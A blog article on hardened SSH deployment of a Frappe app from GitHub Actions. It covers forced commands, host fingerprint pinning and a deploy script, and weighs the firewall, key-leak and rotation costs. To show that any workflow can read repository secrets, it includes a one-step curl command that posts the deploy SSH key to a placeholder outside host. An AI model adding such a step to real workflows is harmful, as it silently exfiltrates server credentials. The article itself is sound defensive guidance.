</>CodeWithKarani

SSH deployment for Frappe: how it works, and what it costs you

Karani GeoffreyKarani Geoffrey8 min read

Most of the Frappe CI examples on the internet deploy over SSH, and most of the time they are right to. If the server belongs to you, SSH deployment is simple, well understood, debuggable with tools you already have, and it works the same way on a VPS in Nairobi as it does on a droplet in Frankfurt. I run it myself on the boxes I own.

So this article does two things. It gives you a complete, working, hardened SSH deployment for a Frappe app, because most readers need one. Then it prices it honestly, because the moment the server belongs to somebody else the same design starts costing you things that are not obvious until a security review finds them. If that is your situation, the alternative is deploying to a client server you are not allowed to touch, where no credential to their environment exists at all.

use SSH deployment when you own the box. Pin the host fingerprint, use a dedicated key with a forced command in authorized_keys, and put the deploy behind an environment gate.

  • The key is a bearer credential held by GitHub. Anyone who can push a workflow to the repository can use it.
  • StrictHostKeyChecking=no is not the fix for the host key problem. Pinning the fingerprint is.
  • Port 22 must be reachable from GitHub's runners, which means from a very large shared address range, or from a bastion you also have to run.
  • Rotating the key requires someone with access to the server, so if that is not you, revocation is a support ticket.

A working pipeline

Start on the server. Generate a key pair that exists for this one purpose and nothing else:

ssh-keygen -t ed25519 -C "github-actions deploy to dev.client.local" \
  -f ./deploy_key -N ""

Install the public half for the frappe user, with restrictions:

sudo -u frappe -i
mkdir -p ~/.ssh && chmod 700 ~/.ssh
cat >> ~/.ssh/authorized_keys <<'EOF'
restrict,command="/home/frappe/deploy.sh" ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA... github-actions
EOF
chmod 600 ~/.ssh/authorized_keys

Those two prefixes do a lot of work. restrict disables port forwarding, agent forwarding, X11 and pty allocation in one word. command= forces every session authenticating with this key to run that script, regardless of what the client asks for. If the key leaks, the holder gets your deploy script, not a shell. It is the single most effective thing on this page and it is the step people skip.

If the server has not been hardened yet, do that before you add a deployment key to it. SSH hardening that survives real attacks is twenty minutes and it is the baseline everything here assumes.

Now the host fingerprint, so the workflow can verify it is talking to the right machine:

ssh-keyscan -t ed25519 dev.client.local 2>/dev/null | ssh-keygen -lf -
256 SHA256:8Xk2p0lRZ9vQm1sT4hN7bC3dE6fG8jK0aL2mP5qR7sU dev.client.local (ED25519)

Three repository secrets: DEPLOY_HOST, DEPLOY_SSH_KEY (the whole private key file, including the header and footer lines), and DEPLOY_HOST_FINGERPRINT (the SHA256:... portion only). Then the workflow:

name: Deploy over SSH

on:
  push:
    tags:
      - 'v[0-9]+.[0-9]+.[0-9]+'

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - name: Run the deploy script on the bench host
        uses: appleboy/ssh-action@v1.2.1
        with:
          host: ${{ secrets.DEPLOY_HOST }}
          username: frappe
          key: ${{ secrets.DEPLOY_SSH_KEY }}
          fingerprint: ${{ secrets.DEPLOY_HOST_FINGERPRINT }}
          command_timeout: 20m
          envs: RELEASE_TAG
          script: /home/frappe/deploy.sh
        env:
          RELEASE_TAG: ${{ github.ref_name }}

And the script on the server, which the forced command runs:

#!/usr/bin/env bash
# /home/frappe/deploy.sh - owned by the server, not by the repository
set -euo pipefail

BENCH=/home/frappe/frappe-bench
SITE=dev.client.local
TAG="${RELEASE_TAG:?RELEASE_TAG not set}"

cd "$BENCH"
bench --site "$SITE" ready-for-migration
bench --site "$SITE" set-maintenance-mode on
trap 'bench --site "$SITE" set-maintenance-mode off' EXIT

bench --site "$SITE" backup --with-files

git -C apps/your_app fetch --tags --prune origin
git -C apps/your_app checkout --force "$TAG"

bench setup requirements
bench build --app your_app
bench --site "$SITE" migrate

sudo supervisorctl restart frappe-bench-web: frappe-bench-workers:

That is a genuinely complete deployment. Tag a release and it runs.

Two details worth defending. The script lives on the server, not in the repository, so a change to the repository cannot change what a deploy does - the same principle that matters even more under the runner model. And the trap on EXIT means maintenance mode is lifted whether the migration succeeds or fails, which is what stops a failed deploy leaving the whole business staring at a maintenance page while you are on a matatu with no signal.

known_hosts, and the flag you will be tempted by

Deploy without the fingerprint input and you will meet the host key problem. The first connection from a fresh runner has never seen the server, so SSH cannot know whether the far end is the machine you meant. Every second answer online is:

ssh -o StrictHostKeyChecking=no frappe@dev.client.local

That makes the error go away by disabling the check that produced it. What it means is: accept whatever host key is presented, by anyone who managed to answer on that address. That check is the only thing standing between your deployment and a machine that is not yours, and on a GitHub-hosted runner you have no other context to notice with.

Pin the fingerprint. It is one secret and two minutes, and it converts a warning you suppressed into a control that fails loudly when something is wrong.

What actually happens, in order

Sequence of an SSH deployment from tag push to supervisor restart A sequence diagram with two lifelines. A version tag is pushed and a job starts on a GitHub-hosted runner. The runner writes the private key from the repository secret to a temporary file, then opens an inbound TCP connection to port 22 on the client server. The server verifies the key and runs the forced command. The deploy script backs up, migrates and restarts supervisor. The exit status returns to the runner and the connection closes. A note records that the middle arrow is the one that requires an inbound firewall rule. GitHub-hosted runner ubuntu-latest, in Microsoft's cloud dev.client.local port 22 reachable from outside 1. Tag v1.4.0 2. Private key written to disk 3. Inbound TCP to port 22, host fingerprint verified 4. Key accepted, forced command runs deploy.sh as frappe 5. backup, migrate supervisorctl restart 6. Exit status returns, session closes Step 3 is the whole difference. It is an inbound connection, so the port has to be open before it can happen.
Compare with the runner sequence: same work, same order, opposite direction on the one arrow that matters.

The firewall bill

Step 3 needs port 22 open to the runner. GitHub-hosted runners have no fixed address, so you get two options and neither is free.

Open 22 to the internet, and you have a permanently exposed SSH service on a business system. With key-only authentication and fail2ban that is survivable and millions of servers do it, but you have made a permanent change to serve an occasional need, and the client's next penetration test will find it and write it down.

Or allowlist GitHub's published ranges, which you can pull from their meta API and refresh on a schedule. Better, and be clear about what it buys: those ranges are shared by every GitHub customer, so "only GitHub can reach my SSH port" also means "anyone with a GitHub account and a workflow is inside the boundary". It is a real narrowing, not a closed door.

Or run a bastion, and now you are operating an extra host, patching it, and explaining it. That is a reasonable answer at a certain scale and an absurd one for a single ERPNext box.

Set this against the firewall posture under a self-hosted runner, where the inbound list does not change at all, and you can see why the conversation goes differently.

Where the key lives, and everywhere it can leak from

Every place the deployment private key exists A central node representing the private key, with six surrounding locations it also exists in: your laptop where it was generated, the message you sent it in, GitHub's encrypted secret store, a temporary file on the runner during every job, any workflow in the repository that chooses to read it, and the server's authorized_keys file which holds the matching public half until somebody removes it. A note records that a copy is indistinguishable from the original, so none of these locations produces an alert when read. The private key one file, many copies Your laptop, where you made it And every backup of that laptop since However you sent it to a colleague Email, WhatsApp, a pasted message GitHub's encrypted secret store Safe at rest, readable by the workflow A temp file on the runner, per job Written in the clear, every single run Any workflow in the repository One added step exfiltrates it silently The server's authorized_keys The other half, until somebody removes it A copied key is identical to the original. None of these six locations produces an alert when it is read.
Six locations, one credential. Under the runner model this diagram has nothing to draw, because the credential does not exist.

The one on the middle right deserves spelling out, because it surprises people who assume the secrets UI is a boundary. Any workflow in the repository can read any repository secret, so a single step added to any workflow file is enough:

      - run: curl -sS -X POST --data-binary @- https://not-your-server.example
        env:
          K: ${{ secrets.DEPLOY_SSH_KEY }}

That is not an exploit. It is the feature working as designed. GitHub's own documentation says plainly that any user with write access to a repository has read access to all secrets configured in it. Moving the key into an environment secret behind a required reviewer gate genuinely helps, and it does not change the fact that once the approved job runs, the key is on a machine you do not control, in a file, in plaintext.

And rotation is not yours to do

This is the part that finishes the argument for me. Suppose the key leaks. Rotating it means generating a new pair, updating the repository secret, and editing /home/frappe/.ssh/authorized_keys on the server to remove the old public half.

That last step needs access to the server. If the server is yours, it is ninety seconds. If it belongs to a client, it is an email, a ticket, a change request, and possibly a window next Tuesday, during which the compromised key still works. You will be explaining an active credential compromise to a client while waiting for them to action the fix, which is the worst possible time to discover that the revocation path runs through somebody else's calendar.

So when should you use it

Without hedging: use SSH deployment when you control the server. Your own VPS, your own staging box, your own products. The key is yours, the firewall rule is yours, rotation is a command you run, and the whole model collapses to something simple and inspectable. Everything in the first half of this article is what I actually run on my own infrastructure.

Do not use it on a server that belongs to a client who has not offered you access, because you will be asking them to open a port and trust you with a credential in order to save yourself installing a service. That trade reads badly in the meeting and reads worse in the incident report. The reasoning is in why access is a liability rather than a convenience, and the implementation that avoids it entirely is in the full no-access deployment walkthrough.

One honest caveat in the other direction. The runner model is not strictly safer, it is differently risky, and its risk is that push access to your repository becomes command execution on that machine. Before you present it to a client as the safe option, read what push access actually grants on a self-hosted runner so that you are the one who raises it.

Frequently asked questions

Is a GitHub deploy key the same as an SSH key to my server?
No, and confusing the two causes real mistakes. A GitHub deploy key is a public key added to a repository so a machine can clone it. The key discussed here is a login credential for your server, stored as a repository secret. They are both SSH keys and they grant completely different things.
Can I just use StrictHostKeyChecking=no to get past the host key prompt?
You can and you should not. That flag tells the client to accept whatever key the far end presents, which removes the only defence against connecting to an impostor. Pin the host fingerprint instead. It is one extra secret and it takes two minutes to obtain.
How do I stop the deploy key being usable as a general shell?
Put a forced command in authorized_keys. Prefixing the key entry with restrict and command="/home/frappe/deploy.sh" means any session authenticating with that key runs that script and nothing else, whatever the client asks for. It is the single most effective hardening available on this path.
Does opening port 22 to GitHub's IP ranges make this safe?
It narrows it, and GitHub publishes the ranges through its meta API so you can automate the allowlist. But the ranges are large and shared by every GitHub customer, so an allowlist means anyone running a workflow on GitHub is inside your network boundary. It is a real improvement over the open internet and it is not the same as a closed port.
#SSH#GitHub Actions#Frappe#CI/CD#Deployment
Keep reading

Related articles